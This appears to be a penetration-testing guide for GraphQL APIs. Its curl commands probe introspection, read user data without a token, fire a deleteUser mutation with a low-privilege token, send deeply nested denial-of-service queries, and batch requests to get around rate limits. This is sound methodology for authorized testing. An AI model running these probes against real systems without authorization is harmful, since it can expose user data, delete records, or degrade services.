Skip to content

GraphQL Security Testing

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

GraphQL APIs require specific testing approaches because they expose a single endpoint with a flexible query language. Standard web scanners miss most GraphQL vulnerabilities. Testing focuses on introspection availability, authorization gaps between queries and mutations, and input validation on nested queries.

Introspection Check

Test whether the schema is exposed via introspection (most impactful finding for further testing).

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{__schema{queryType{name}}}"}'
{"data":{"__schema":{"queryType":{"name":"Query"}}}}

A successful response means introspection is enabled. Use the full introspection query to dump the complete schema for analysis.

Authorization Testing

GraphQL often lacks field-level authorization. Test whether authenticated queries return data they should not, and whether mutations are accessible across roles.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{users{id,username,email,role}}"}' | python3 -m json.tool

If user data returns without a token, authorization is missing entirely. If it requires auth, test with a low-privilege token to check for horizontal/vertical access issues.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <USER_TOKEN>' \
-d '{"query": "mutation{deleteUser(id: 1){success}}"}'

Many implementations check auth on queries but forget mutations, or check the operation type but not the specific mutation. Test CRUD operations for every sensitive type.

Depth and Complexity Limits

Test for missing query depth limits that enable denial of service through deeply nested queries.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{users{posts{comments{author{posts{comments{author{username}}}}}}}}"}'

If the query resolves without error, no depth limiting is in place. In production, deeply nested queries can consume excessive server resources.

Batch Query Rate Limit Bypass

Test whether the API rate-limits individual operations within a batched request.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '[{"query":"{user(id:1){username}}"},{"query":"{user(id:2){username}}"},{"query":"{user(id:3){username}}"}]'

Array-based batching sends multiple queries in one HTTP request. If the server processes all without rate limiting individual operations, this bypasses per-request rate limits for enumeration and brute-force attacks.

If any of these checks reveal issues, proceed to GraphQL exploitation for detailed attack techniques.

References